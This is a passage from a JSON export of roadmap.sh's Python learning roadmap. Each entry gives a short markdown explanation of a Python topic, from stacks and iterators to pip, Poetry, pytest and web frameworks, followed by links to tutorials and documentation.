    "path": "src/data/roadmaps/python/content/heaps-stacks-and-queues@rSfg5M65LyZldhrdWOr90.md",
    "content": "# Heaps Stacks and Queues\n\n**Stacks:** Operations are performed LIFO (last in, first out), which means that the last element added will be the first one removed. A stack can be implemented using an array or a linked list. If the stack runs out of memory, it’s called a stack overflow.\n\n**Queue:** Operations are performed FIFO (first in, first out), which means that the first element added will be the first one removed. A queue can be implemented using an array.\n\n**Heap:** A tree-based data structure in which the value of a parent node is ordered in a certain way with respect to the value of its child node(s). A heap can be either a min heap (the value of a parent node is less than or equal to the value of its children) or a max heap (the value of a parent node is greater than or equal to the value of its children).\n\nVisit the following resources to learn more:\n\n- [@article@Heaps, Stacks, Queues](https://stephanosterburg.gitbook.io/scrapbook/coding/coding-interview/data-structures/heaps-stacks-queues)\n- [@video@Stack Data Structure | Illustrated Data Structures](https://www.youtube.com/watch?v=I5lq6sCuABE)\n- [@video@Queue Data Structure | Illustrated Data Structures](https://www.youtube.com/watch?v=mDCi1lXd9hc)\n- [@article@How to Implement Python Stack?](https://realpython.com/how-to-implement-python-stack/)\n- [@article@Python Stacks, Queues, and Priority Queues in Practice](https://realpython.com/queue-in-python/)\n- [@article@Heap Implementation in Python](https://www.educative.io/answers/heap-implementation-in-python)\n"
  },
  {
    "path": "src/data/roadmaps/python/content/inheritance@S0FLE70szSVUPI0CDEQK7.md",
    "content": "# Inheritance\n\nInheritance is a fundamental concept in object-oriented programming where a new class (the child class or subclass) is derived from an existing class (the parent class or superclass). The child class inherits attributes and methods from the parent class, allowing for code reuse and the creation of hierarchical relationships between classes. This promotes a more organized and maintainable codebase by establishing a clear structure and reducing redundancy.\n\nVisit the following resources to learn more:\n\n- [@official@Python Official Documentation on Inheritance](https://docs.python.org/3/tutorial/classes.html#inheritance)"
  },
  {
    "path": "src/data/roadmaps/python/content/iterators@aB1LSQjDEQb_BxueOcnxU.md",
    "content": "# Iterators\n\nAn iterator is an object that contains a countable number of values. An iterator is an object that can be iterated upon, meaning that you can traverse through all the values. Technically, in Python, an iterator is an object which implements the iterator protocol, which consist of the methods **iter**() and **next**() .\n\nVisit the following resources to learn more:\n\n- [@official@Python Official Documentation on Iterators](https://docs.python.org/3/tutorial/classes.html#iterators)\n- [@article@Python Iterators](https://www.programiz.com/python-programming/iterator)\n- [@article@Iterators and Iterables in Python](https://realpython.com/python-iterators-iterables/)"
  },
  {
    "path": "src/data/roadmaps/python/content/lambdas@aWHgAk959DPUZL46CeRiI.md",
    "content": "# Lambdas\n\nPython Lambda Functions are anonymous function means that the function is without a name. As we already know that the def keyword is used to define a normal function in Python. Similarly, the lambda keyword is used to define an anonymous function in Python.\n\nVisit the following resources to learn more:\n\n- [@article@How to use Lambda functions](https://realpython.com/python-lambda/)\n- [@video@Python Lambda Functions](https://www.youtube.com/watch?v=KR22jigJLok)"
  },
  {
    "path": "src/data/roadmaps/python/content/learn-a-framework@0-ShORjGnQlAdcwjtxdEB.md",
    "content": "# Python Frameworks\n\nFrameworks automate the common implementation of common solutions which gives the flexibility to the users to focus on the application logic instead of the basic routine processes. Frameworks make the life of web developers easier by giving them a structure for app development. They provide common patterns in a web application that are fast, reliable and easily maintainable.\n\nVisit the following resources to learn more:\n\n- [@article@Pyscript: A Browser-Based Python Framework](https://thenewstack.io/pyscript-a-browser-based-python-framework/)\n- [@feed@Explore top posts about Python](https://app.daily.dev/tags/python?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/python/content/learn-the-basics@GISOFMKvnBys0O0IMpz2J.md",
    "content": "# Python\n\nPython is a high-level, interpreted, general-purpose programming language. Its design philosophy emphasizes code readability with the use of significant indentation. Python is dynamically-typed and garbage-collected.\n\nVisit the following resources to learn more:\n\n- [@official@Python Website](https://www.python.org/)\n- [@article@Python - Wiki](https://en.wikipedia.org/wiki/Python_(programming_language))\n- [@article@Tutorial Series: How to Code in Python](https://www.digitalocean.com/community/tutorials/how-to-write-your-first-python-3-program)\n- [@article@Google's Python Class](https://developers.google.com/edu/python)\n- [@video@Learn Python - Full Course](https://www.youtube.com/watch?v=4M87qBgpafk)\n- [@feed@Explore top posts about Python](https://app.daily.dev/tags/python?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/python/content/learn-the-basics@JDDG4KfhtIlw1rkNCzUli.md",
    "content": "# Python\n\nPython is a high-level, interpreted, general-purpose programming language. Its design philosophy emphasizes code readability with the use of significant indentation. Python is dynamically-typed and garbage-collected.\n\nVisit the following resources to learn more:\n\n- [@official@Python Website](https://www.python.org/)\n- [@article@Python - Wiki](https://en.wikipedia.org/wiki/Python_(programming_language))\n- [@article@Tutorial Series: How to Code in Python](https://www.digitalocean.com/community/tutorials/how-to-write-your-first-python-3-program)\n- [@article@Google's Python Class](https://developers.google.com/edu/python)\n- [@video@Learn Python - Full Course](https://www.youtube.com/watch?v=4M87qBgpafk)\n- [@feed@Explore top posts about Python](https://app.daily.dev/tags/python?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/python/content/list-comprehensions@4gtmtYWYRWqwLdZRL0XMg.md",
    "content": "# List Comprehensions\n\nList comprehensions are a concise way to create a list using a single line of code in Python. They are a powerful tool for creating and manipulating lists, and they can be used to simplify and shorten code.\n\nVisit the following resources to learn more:\n\n- [@official@Python List Comprehensions](https://docs.python.org/3/tutorial/datastructures.html#list-comprehensions)\n- [@article@What Exactly are List Comprehensions in Python? - CodeGuage](https://www.codeguage.com/courses/python/lists-list-comprehensions)\n- [@article@Python List Comprehensions Quiz](https://realpython.com/quizzes/list-comprehension-python/)"
  },
  {
    "path": "src/data/roadmaps/python/content/lists@UT_SR7G-LYtzqooWrEtF1.md",
    "content": "# Lists in Python\n\nLists are fundamental data structures in Python used to store an ordered collection of items. These items can be of different data types (numbers, strings, or even other lists), and lists are mutable, meaning you can change their contents after they are created by adding, removing, or modifying elements. They are defined using square brackets `[]` and elements are separated by commas.\n\nVisit the following resources to learn more:\n\n- [@official@Python Official Documentation on Listsc](https://docs.python.org/3/tutorial/introduction.html#lists)\n- [@article@Tuples vs. Lists vs. Sets in Python](https://jerrynsh.com/tuples-vs-lists-vs-sets-in-python/)\n- [@article@Python for Beginners: Lists](https://thenewstack.io/python-for-beginners-lists/)\n- [@article@Python for Beginners: When and How to Use Tuples](https://thenewstack.io/python-for-beginners-when-and-how-to-use-tuples/)\n- [@video@Difference Between List, Tuple, Set and Dictionary in Python](https://www.youtube.com/watch?v=n0krwG38SHI)"
  },
  {
    "path": "src/data/roadmaps/python/content/loops@Dvy7BnNzK55qbh_SgOk8m.md",
    "content": "# Loops\n\nLoops are used to execute a block of code repeatedly.\n\nVisit the following resources to learn more:\n\n- [@article@Python \"while\" Loops (Indefinite Iteration)](https://realpython.com/python-while-loop/)\n- [@article@Python \"for\" Loops (Definite Iteration)](https://realpython.com/python-for-loop/#the-guts-of-the-python-for-loop)\n- [@video@Python For Loops](https://www.youtube.com/watch?v=KWgYha0clzw)"
  },
  {
    "path": "src/data/roadmaps/python/content/methods-dunder@zAS4YiEJ6VPsyABrkIG8i.md",
    "content": "# Methods and Dunder\n\nA method in python is somewhat similar to a function, except it is associated with object/classes. Methods in python are very similar to functions except for two major differences.\n\n*   The method is implicitly used for an object for which it is called.\n*   The method is accessible to data that is contained within the class.\n\nDunder or magic methods in Python are the methods that have two prefix and suffix underscores in the method name. Dunder here means “Double Under (Underscores)”. These are commonly used for operator overloading. Few examples for magic methods are: **`__init__`**, **`__add__`**, **`__len__`**, **`__repr__`** etc.\n\nVisit the following resources to learn more:\n\n- [@article@Method vs Function in Python](https://www.tutorialspoint.com/difference-between-method-and-function-in-python)\n- [@article@Python - Magic or Dunder Methods](https://www.tutorialsteacher.com/python/magic-methods-in-python)"
  },
  {
    "path": "src/data/roadmaps/python/content/methods@zAS4YiEJ6VPsyABrkIG8i.md",
    "content": "# Methods and Dunder\n\nA method in python is somewhat similar to a function, except it is associated with object/classes. Methods in python are very similar to functions except for two major differences.\n\n*   The method is implicitly used for an object for which it is called.\n*   The method is accessible to data that is contained within the class.\n\nDunder or magic methods in Python are the methods that have two prefix and suffix underscores in the method name. Dunder here means “Double Under (Underscores)”. These are commonly used for operator overloading. Few examples for magic methods are: **`__init__`**, **`__add__`**, **`__len__`**, **`__repr__`** etc.\n\nVisit the following resources to learn more:\n\n- [@article@Method vs Function in Python](https://www.tutorialspoint.com/difference-between-method-and-function-in-python)\n- [@article@Python - Magic or Dunder Methods](https://www.tutorialsteacher.com/python/magic-methods-in-python)"
  },
  {
    "path": "src/data/roadmaps/python/content/modules@274uk28wzxn6EKWQzLpHs.md",
    "content": "# Modules\n\nModules refer to a file containing Python statements and definitions. A file containing Python code, for example: `example.py`, is called a module, and its module name would be example. We use modules to break down large programs into small manageable and organized files. Furthermore, modules provide reusability of code.\n\nVisit the following resources to learn more:\n\n- [@official@Python Modules](https://docs.python.org/3/tutorial/modules.html)\n- [@article@Modules in Python](https://www.programiz.com/python-programming/modules)"
  },
  {
    "path": "src/data/roadmaps/python/content/multiprocessing@HSY5OUc_M5S6OcFXPRtkx.md",
    "content": "# Multiprocessing\n\nMultiprocessing utilizes multiple processes, each with its own GIL. This allows full utilization of multiple processor cores, which is effective for computationally intensive tasks. Python's multiprocessing module supports creating processes and exchanging data between them.\n\nVisit the following resources to learn more:\n\n- [@official@Python Documentation](https://docs.python.org/3/library/multiprocessing.html)\n- [@article@Multiprocessing in Python with Example](https://www.digitalocean.com/community/tutorials/python-multiprocessing-example)\n- [@article@Multiprocessing in Python](https://realpython.com/python-multiprocessing/)"
  },
  {
    "path": "src/data/roadmaps/python/content/mypy@gIcJ3bUVQXqO1Wx4gUKd5.md",
    "content": "# mypy\n\nmypy is an optional static type checker for Python that aims to combine the benefits of dynamic (or \"duck\") typing and static typing. Mypy combines the expressive power and convenience of Python with a powerful type system and compile-time type checking. Mypy type checks standard Python programs; run them using any Python VM with basically no runtime overhead.\n\nVisit the following resources to learn more:\n\n- [@official@mypy documentation](https://mypy-lang.org/)\n- [@opensource@python/mypy](https://github.com/python/mypy)"
  },
  {
    "path": "src/data/roadmaps/python/content/nose@SSnzpijHLO5_l7DNEoMfx.md",
    "content": "# Nose\n\nNose is another opensource testing framework that extends `unittest` to provide a more flexible testing framework. Note that Nose is no longer maintained and `pytest` is considered the replacement.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction to Nose](https://nose.readthedocs.io/en/latest/)\n- [@article@Getting Started With Nose In Python](https://www.lambdatest.com/blog/selenium-python-nose-tutorial/)"
  },
  {
    "path": "src/data/roadmaps/python/content/object-oriented-programming@P_Di-XPSDITmU3xKQew8G.md",
    "content": "# OOP\n\nIn Python, object-oriented Programming (OOPs) is a programming paradigm that uses objects and classes in programming. It aims to implement real-world entities like inheritance, polymorphism, encapsulation, etc., in programming. The main concept of OOPs is to bind the data and the functions that work on that together as a single unit so that no other part of the code can access this data.\n\nVisit the following resources to learn more:\n\n- [@article@Object Oriented Programming in Python](https://realpython.com/python3-object-oriented-programming/)\n- [@video@Object Oriented Programming (OOP) In Python - Beginner Crash Course](https://www.youtube.com/watch?v=-pEs-Bss8Wc/)\n- [@video@OOP in Python One Shot](https://www.youtube.com/watch?v=Ej_02ICOIgs)\n- [@video@Python OOP Tutorial](https://www.youtube.com/watch?v=IbMDCwVm63M)"
  },
  {
    "path": "src/data/roadmaps/python/content/package-managers@qeCMw-sJ2FR4UxvU9DDzv.md",
    "content": "# Package Managers\n\nPackage managers allow you to manage the dependencies (external code written by you or someone else) that your project needs to work correctly.\n\n`PyPI` and `Pip` are the most common contenders but there are some other options available as well.\n\nVisit the following resources to learn more:\n\n- [@opensource@pypa/pipx](https://github.com/pypa/pipx)\n- [@feed@Explore top posts about Python](https://app.daily.dev/tags/python?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/python/content/paradigms@4GU5HNi3W8yFkImVY9ZpW.md",
    "content": "# Python Paradigms\n\nPython is a multi-paradigm programming language, which means that it supports several programming paradigms. Some of the main paradigms supported by Python are:\n\n*   Imperative programming: This paradigm focuses on telling the computer what to do, step by step. Python supports imperative programming with features such as variables, loops, and control structures.\n*   Object-oriented programming (OOP): This paradigm is based on the idea of objects and their interactions. Python supports OOP with features such as classes, inheritance, and polymorphism.\n*   Functional programming: This paradigm is based on the idea of functions as first-class citizens, and it emphasizes the use of pure functions and immutable data. Python supports functional programming with features such as higher-order functions, lambda expressions, and generators.\n*   Aspect-oriented programming: This paradigm is based on the idea of separating cross-cutting concerns from the main functionality of a program. Python does not have built-in support for aspect-oriented programming, but it can be achieved using libraries or language extensions.\n\nVisit the following resources to learn more:\n\n- [@article@Python Paradigms](https://opensource.com/article/19/10/python-programming-paradigms)\n- [@video@Learn Functional Programming - Python Course](https://www.youtube.com/watch?v=5QZYGU0C2OA)"
  },
  {
    "path": "src/data/roadmaps/python/content/pdm@xDgXISgVUMRHh9hu4h6Hl.md",
    "content": "# PDM\n\nPDM is a modern Python package manager that supports PEP 582, which allows packages to be installed in a `__pypackages__` directory instead of the traditional `site-packages` directory. It aims to provide a streamlined and improved experience for managing dependencies, building, and publishing Python projects. PDM also includes features like dependency resolution, virtual environment management, and project scaffolding.\n\nVisit the following resources to learn more:\n\n- [@official@pdm](https://pdm-project.org/en/latest/)\n- [@opensource@pdm](https://github.com/pdm-project/pdm)\n- [@article@Introduction to PDM: A Python Project and Dependency Manager](https://betterstack.com/community/guides/scaling-python/pdm-explained/)"
  },
  {
    "path": "src/data/roadmaps/python/content/pip@iVhQnp6hpgVZDNJ0XoVra.md",
    "content": "# Pip\n\nThe standard package manager for Python is pip. It allows you to install and manage packages that aren’t part of the Python standard library.\n\nVisit the following resources to learn more:\n\n- [@official@pip Documentation](https://pip.pypa.io/en/stable/installation/)\n- [@article@Using Pythons pip to Manage Your Projects Dependencies](https://realpython.com/what-is-pip/)\n- [@feed@Explore top posts about PIP](https://app.daily.dev/tags/pip?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/python/content/pipenv@IWq-tfkz-pSC1ztZl60vM.md",
    "content": "# pipenv\n\nPipeline Environment (pipenv) is a tool that aims to bring the best of all packaging worlds (bundled, requirements.txt, [setup.py](https://docs.python.org/3.11/distutils/setupscript.html), setup.cfg, etc.) to the Python world. It automatically creates and manages a virtualenv for your projects, as well as adds/removes packages from your Pipfile as you install/uninstall packages. It also generates the ever-important Pipfile.lock, which is used to produce deterministic builds.\n\nVisit the following resources to learn more:\n\n- [@official@Pipenv Documentation](https://pipenv.pypa.io/en/latest/)"
  },
  {
    "path": "src/data/roadmaps/python/content/plotly-dash@7zcpXN3krnS3tMRWVNIVe.md",
    "content": "# Plotly Dash\n\nPlotly Dash is a Python framework that allows you to build analytical web applications. It's a high-level library that enables you to create interactive, web-based data visualization dashboards without requiring extensive knowledge of web development.\n\nVisit the following resources to learn more:\n\n- [@official@Plotly Dash Documentation](https://dash.plotly.com/)\n- [@official@20 Minutes Tutorial](http://dash.plotly.com/tutorial)"
  },
  {
    "path": "src/data/roadmaps/python/content/poetry@uXd2B01GVBEQNXQE8RATT.md",
    "content": "# Poetry\n\nPoetry is a dependency management and packaging tool for Python that runs on Windows, macOS, and Linux. Poetry efficiently installs, manages, and updates packages and their dependencies. Poetry seamlessly creates, saves, loads, and switches between project environments on your local computer. It is designed specifically for Python projects, providing a streamlined workflow for managing dependencies, virtual environments, and building packages.\n\nPoetry as a package manager helps you find and install packages. If you need a specific version of a package or a different version of Python, Poetry handles both dependency management and virtual environments effortlessly. With just a few commands, you can set up a completely isolated environment to run a different version of Python or package configuration, while maintaining your usual development environment. Poetry’s lock file ensures consistent installs across different environments, enhancing reproducibility and stability of your projects.\n\nVisit the following resources to learn more:\n\n- [@official@Poetry Docs](https://python-poetry.org/docs/)\n- [@video@Python Poetry - Basics](https://www.youtube.com/watch?v=Ji2XDxmXSOM)"
  },
  {
    "path": "src/data/roadmaps/python/content/pydantic@W3VALz5evFo1qqkQbMN1R.md",
    "content": "# Pydantic\n\nPydantic is a python library for data validation and settings management using python type annotations.\n\nVisit the following resources to learn more:\n\n- [@official@Pydantic Documentation](https://docs.pydantic.dev/latest/)"
  },
  {
    "path": "src/data/roadmaps/python/content/pyenv@N5VaKMbgQ0V_BC5tadV65.md",
    "content": "# pyenv\n\npyenv is a tool for managing multiple versions of the Python programming language on Unix-like systems. It works by setting environment variables to point to the directory where the desired version of Python is installed. This allows you to switch between different versions of Python without having to modify your system's default Python installation.\n\nVisit the following resources to learn more:\n\n- [@opensource@pyenv/pyenv](https://github.com/pyenv/pyenv)"
  },
  {
    "path": "src/data/roadmaps/python/content/pypi@1dfOTOGsOk5XE3bnZs8Ht.md",
    "content": "# PyPI\n\nPyPI, typically pronounced pie-pee-eye, is a repository containing several hundred thousand packages. These range from trivial Hello, World implementations to advanced deep learning libraries.\n\nVisit the following resources to learn more:\n\n- [@official@PyPI Website](https://pypi.org/)\n- [@article@How to Publish an Open-Source Python Package to PyPI](https://realpython.com/pypi-publish-python-package/)\n- [@video@Getting Started with Pip and PyPI in Python](https://www.youtube.com/watch?v=bPSfNKvhooA)\n- [@feed@Explore top posts about Python](https://app.daily.dev/tags/python?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/python/content/pyprojecttoml@GHKAY9gOykEbxkEeR30wL.md",
    "content": "# pyproject.toml\n\nThis file is used to define the project configuration and dependencies. It is a configuration file that contains metadata about the project, such as its name, version, dependencies, and build settings. The `pyproject.toml` file is used by tools like `poetry` and `flit` to manage Python projects and their dependencies.\n\nVisit the following resources to learn more:\n\n- [@official@Writing pyproject.toml files](https://packaging.python.org/en/latest/guides/writing-pyproject-toml/)"
  },
  {
    "path": "src/data/roadmaps/python/content/pyramid@DHtskqATeAVKgaazdhXKD.md",
    "content": "# Pyramid\n\nPyramid is a general, open source, web application development framework built in python. It allows python developer to create web applications with ease. Pyramid is backed by the enterprise knowledge Management System KARL (a George Soros project).\n\nVisit the following resources to learn more:\n\n- [@official@Pyramid Website](https://trypyramid.com/)\n- [@official@Pyramid Documentation](https://trypyramid.com/documentation.html)\n- [@article@Pyramid Framework Introduction](https://www.tutorialspoint.com/python_web_development_libraries/python_web_development_libraries_pyramid_framework.htm)"
  },
  {
    "path": "src/data/roadmaps/python/content/pyre@9mFR_ueXbIB2IrkqU2s85.md",
    "content": "# pyrefly\n\npyrefly is a static type checker for Python. It is a tool that helps you find type errors in your Python code. Pyre is designed to be fast, scalable, and easy to use. It is used at Facebook to help developers catch type errors before they make it to production.\n\nVisit the following resources to learn more:\n\n- [@official@pyrefly Documentation](https://pyrefly.org)"
  },
  {
    "path": "src/data/roadmaps/python/content/pyright@1q9HWgu9jDTK757hTNOmE.md",
    "content": "# pyright\n\npyright is a static type checker for Python. It is a Microsoft product and is written in TypeScript. It is a language server that uses the Language Server Protocol (LSP) to communicate with the editor. It is a good alternative to mypy and pytype.\n\nVisit the following resources to learn more:\n\n- [@official@Pyright Documentation](https://microsoft.github.io/pyright/)"
  },
  {
    "path": "src/data/roadmaps/python/content/pytest@3FDwJpesfelEyJrNWtm0V.md",
    "content": "# pytest\n\npytest is a mature full-featured Python testing tool that helps you write better programs.\n\nVisit the following resources to learn more:\n\n- [@official@Pytest Docs](https://docs.pytest.org/)\n- [@article@Pytest Tutorial](https://www.tutorialspoint.com/pytest/index.htm)\n- [@article@Effective Python Testing With Pytest](https://realpython.com/pytest-python-testing/)\n- [@video@Pytest Tutorial – How to Test Python Code](https://www.youtube.com/watch?v=cHYq1MRoyI0)\n- [@feed@Explore top posts about Python](https://app.daily.dev/tags/python?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/python/content/recursion@94KnPMQdNTOwQkUv37tAk.md",
    "content": "# Recursion\n\nRecursion is a method of solving a computational problem where the solution depends on solutions to smaller instances of the same problem. Recursion solves such recursive problems by using functions that call themselves from within their own code.\n\nVisit the following resources to learn more:\n\n- [@article@Recursion in Python: An Introduction](https://realpython.com/python-recursion/)\n- [@feed@Explore top posts about Recursion](https://app.daily.dev/tags/recursion?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/python/content/recursion@kLBgy_nxxjE8SxdVi04bq.md",
    "content": "# Recursion\n\nRecursion is a method of solving a computational problem where the solution depends on solutions to smaller instances of the same problem. Recursion solves such recursive problems by using functions that call themselves from within their own code.\n\nVisit the following resources to learn more:\n\n- [@article@Recursion in Python: An Introduction](https://realpython.com/python-recursion/)\n- [@feed@Explore top posts about Recursion](https://app.daily.dev/tags/recursion?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/python/content/regular-expressions@7t6mJBsaFMWPi7o9fbhhq.md",
    "content": "# Regular Expressions\n\nA regular expression is a sequence of characters that specifies a search pattern in text. Usually such patterns are used by string-searching algorithms for \"find\" or \"find and replace\" operations on strings, or for input validation.\n\nVisit the following resources to learn more:\n\n- [@official@Regular Expressions in Python](https://docs.python.org/3/library/re.html)\n- [@article@Python Regular Expressions](https://developers.google.com/edu/python/regular-expressions)\n- [@article@Python - Regular Expressions](https://www.tutorialspoint.com/python/python_reg_expressions.htm)"
  },
  {
    "path": "src/data/roadmaps/python/content/ruff@6cB0pvUO1-gvCtgqozP-Q.md",
    "content": "# ruff\n\nRuff is a fast Python linter and code quality tool written in Rust that combines the functionality of multiple linting and formatting tools into a single, high-performance utility. It helps detect errors, enforce coding standards, and improve code quality while running significantly faster than traditional Python linters.\n\nVisit the following resources to learn more:\n\n- [@official@Ruff documentation](https://docs.astral.sh/ruff/)"
  },
  {
    "path": "src/data/roadmaps/python/content/sanic@9RGpqsj9jHz0_-r7EvRcw.md",
    "content": "# Sanic\n\nSanic is a Python 3.7+ web server and web framework that's written to go fast. It allows the usage of the async/await syntax added in Python 3.5, which makes your code non-blocking and speedy.\n\nVisit the following resources to learn more:\n\n- [@official@Sanic Website](https://sanic.dev/en/)"
  },
  {
    "path": "src/data/roadmaps/python/content/sets@soZFqivM3YBuljeX6PoaX.md",
    "content": "# Sets\n\nPython Set is an unordered collection of data types that is iterable, mutable, and has no duplicate elements. The order of elements in a set is undefined though it may consist of various elements. The major advantage of using a set, as opposed to a list, is that it has a highly optimized method for checking whether a specific element is contained in the set.\n\nVisit the following resources to learn more:\n\n- [@official@Python Official Documentation on Sets](https://docs.python.org/3/tutorial/datastructures.html#sets)\n- [@article@An In-Depth Guide to Working with Python Sets](https://learnpython.com/blog/python-sets/)\n- [@video@Python Sets tutorial for Beginners](https://www.youtube.com/watch?v=t9j8lCUGZXo)"
  },
  {
    "path": "src/data/roadmaps/python/content/sorting-algorithms@YNptpfK9qv2ovmkUXLkJT.md",
    "content": "# Sorting Algorithms\n\nSorting refers to arranging data in a particular format. Sorting algorithm specifies the way to arrange data in a particular order. Most common orders are in numerical or lexicographical order. The importance of sorting lies in the fact that data searching can be optimized to a very high level, if data is stored in a sorted manner.\n\nVisit the following resources to learn more:\n\n- [@article@Sorting Algorithms in Python](https://realpython.com/sorting-algorithms-python/)\n- [@article@Python - Sorting Algorithms](https://www.tutorialspoint.com/python_data_structure/python_sorting_algorithms.htm)\n- [@feed@Explore top posts about Algorithms](https://app.daily.dev/tags/algorithms?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/python/content/sorting-algorithms@vvTmjcWCVclOPY4f_5uB0.md",
    "content": "# Sorting Algorithms\n\nSorting refers to arranging data in a particular format. Sorting algorithm specifies the way to arrange data in a particular order. Most common orders are in numerical or lexicographical order. The importance of sorting lies in the fact that data searching can be optimized to a very high level, if data is stored in a sorted manner.\n\nVisit the following resources to learn more:\n\n- [@article@Sorting Algorithms in Python](https://realpython.com/sorting-algorithms-python/)\n- [@article@Python - Sorting Algorithms](https://www.tutorialspoint.com/python_data_structure/python_sorting_algorithms.htm)\n- [@feed@Explore top posts about Algorithms](https://app.daily.dev/tags/algorithms?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/python/content/sphinx@maYNuTKYyZndxk1z29-UY.md",
    "content": "# sphinx\n\nSphinx is a tool that makes it easy to create intelligent and beautiful documentation, written by Georg Brandl and licensed under the BSD license.\n\nVisit the following resources to learn more:\n\n- [@official@Sphinx Website](https://www.sphinx-doc.org/en/master/)"
  },
  {
    "path": "src/data/roadmaps/python/content/static-typing@1PXApuUpPmJjgi12cmWo4.md",
    "content": "# Static Typing\n\nStatic typing can be a powerful tool to help you catch bugs before they happen. It can also help you understand the code you're working with, and make it easier to maintain and refactor.\n\nVisit the following resources to learn more:\n\n- [@official@Static Typing in Python](https://typing.readthedocs.io/en/latest/index.html)"
  },
  {
    "path": "src/data/roadmaps/python/content/testing@WQOYjuwKIWB2meea4JnsV.md",
    "content": "# Testing\n\nTesting in programming means checking if your code works as expected. It's a systematic way to find and fix errors (bugs) before your code goes live. Imagine building a beautiful house without checking if the walls are straight or the roof doesn't leak—that's what coding without testing can feel like!\n\nVisit the following resources to learn more:\n\n- [@official@Unit Testing in Python](https://docs.python.org/3/library/unittest.html)\n- [@article@Python Testing Tutorial](https://realpython.com/python-testing/)"
  },
  {
    "path": "src/data/roadmaps/python/content/threading@UIx0XYaOgXXlYbbQtjiPq.md",
    "content": "# Threading\n\n[Multithreading](https://roadmap.sh/python/multithreading) allows multiple threads within a single process. However, because of GIL, threads cannot run in parallel on different cores, which makes multithreading suitable for I/O tasks (e.g., network requests) but not for computational tasks.\n\nVisit the following resources to learn more:\n\n- [@official@Python Threading Library](https://docs.python.org/3/library/threading.html)\n- [@article@Python Multithreading: The Most Practical Intro](https://roadmap.sh/python/multithreading)\n- [@article@Introduction to Threading in Python](https://realpython.com/intro-to-python-threading/)"
  },
  {
    "path": "src/data/roadmaps/python/content/topic-node@Iwr_DtqGn9kQTUBPJpplf.md",
    "content": "# topic node"
  },
  {
    "path": "src/data/roadmaps/python/content/tornado@zey2C6BdzsHJAlb_K3qrP.md",
    "content": "# Tornado\n\nTornado is a scalable, non-blocking web server and web application framework written in Python. It was developed for use by FriendFeed; the company was acquired by Facebook in 2009 and Tornado was open-sourced soon after.\n\nVisit the following resources to learn more:\n\n- [@official@Tornado Website](https://www.tornadoweb.org/)\n- [@article@A Step-by-Step Tutorial on Python Tornado](https://phrase.com/blog/posts/tornado-web-framework-i18n/)\n- [@video@Tornado Python Framework](https://www.youtube.com/watch?v=-gJ21qzpieA)"
  },
  {
    "path": "src/data/roadmaps/python/content/tox@jPFOiwbqfaGshaGDBWb5x.md",
    "content": "# Tox\n\nTox is a tool for automating test environment management and testing against multiple interpreter configurations. It is particularly useful for Python codebase that need to support multiple versions of Python.\n\nVisit the following resources to learn more:\n\n- [@official@Tox Documentation](https://tox.wiki/en/)"
  },
  {
    "path": "src/data/roadmaps/python/content/tuples@i7xIGiXU-k5UIKHIhQPjE.md",
    "content": "# Tuples\n\nA tuple is an ordered and immutable collection of elements in Python. Unlike lists, tuples cannot be modified after creation, making them useful for storing fixed data such as coordinates, configuration values, or records that should remain unchanged. Tuples support indexing, iteration, and unpacking, and because they are immutable, they can also be used as dictionary keys or returned safely from functions as multiple values.\n\nVisit the following resources to learn more:\n\n- [@official@Tuples Documentation](https://docs.python.org/3/tutorial/datastructures.html#tuples-and-sequences)\n- [@article@When and How to Use Tuples](https://thenewstack.io/python-for-beginners-when-and-how-to-use-tuples/)\n- [@article@Python's tuple Data Type: A Deep Dive With Examples](https://realpython.com/python-tuple/#getting-started-with-pythons-tuple-data-type)\n- [@video@why are Tuples even a thing?](https://www.youtube.com/watch?v=fR_D_KIAYrE)"
  },
  {
    "path": "src/data/roadmaps/python/content/type-casting@R9DQNc0AyAQ2HLpP4HOk6.md",
    "content": "# Typecasting\n\nThe process of converting the value of one data type (integer, string, float, etc.) to another data type is called type conversion. Python has two types of type conversion: Implicit and Explicit.\n\nVisit the following resources to learn more:\n\n- [@article@Type Conversion and Casting](https://www.programiz.com/python-programming/type-conversion-and-casting)"
  },
  {
    "path": "src/data/roadmaps/python/content/typing@o1wi39VnjnFfWIC8XcuAK.md",
    "content": "# Typing\n\nThe `typing` module provides support for type hints in Python, allowing developers to specify expected data types for variables, function parameters, and return values. Type hints improve code readability, enable better editor support and static analysis, and help catch potential bugs early without changing how Python executes programs at runtime.\n\nVisit the following resources to learn more:\n\n- [@official@Typing Module](https://docs.python.org/3/library/typing.html)"
  },
  {
    "path": "src/data/roadmaps/python/content/unittest--pyunit@b4he_RO17C3ScNeUd6v2b.md",
    "content": "# PyUnit / Unittest\n\nPyUnit is an easy way to create unit testing programs and UnitTests with Python. (Note that [docs.python.org](http://docs.python.org) uses the name \"unittest\", which is also the module name.)\n\nVisit the following resources to learn more:\n\n- [@official@PyUnit Docs](https://wiki.python.org/moin/PyUnit%C2%A0)\n- [@article@How To Use unittest to Write a Test Case for a Function in Python](https://www.digitalocean.com/community/tutorials/how-to-use-unittest-to-write-a-test-case-for-a-function-in-python)\n- [@article@A Gentle Introduction to Unit Testing in Python](https://machinelearningmastery.com/a-gentle-introduction-to-unit-testing-in-python/)"
  },
  {
    "path": "src/data/roadmaps/python/content/uv@p3Frfs6oxpuciUzeCEsvb.md",
    "content": "# uv\n\nuv is an \"extremely fast\" python package installer and resolver.\n\nVisit the following resources to learn more:\n\n- [@opensource@astral-sh/uv](https://github.com/astral-sh/uv)\n- [@article@@UV for Python](https://www.youtube.com/watch?v=qh98qOND6MI&t)"
  },
  {
    "path": "src/data/roadmaps/python/content/variable-scope@3RNy7Sp28d-NMx0Yh4bdx.md",
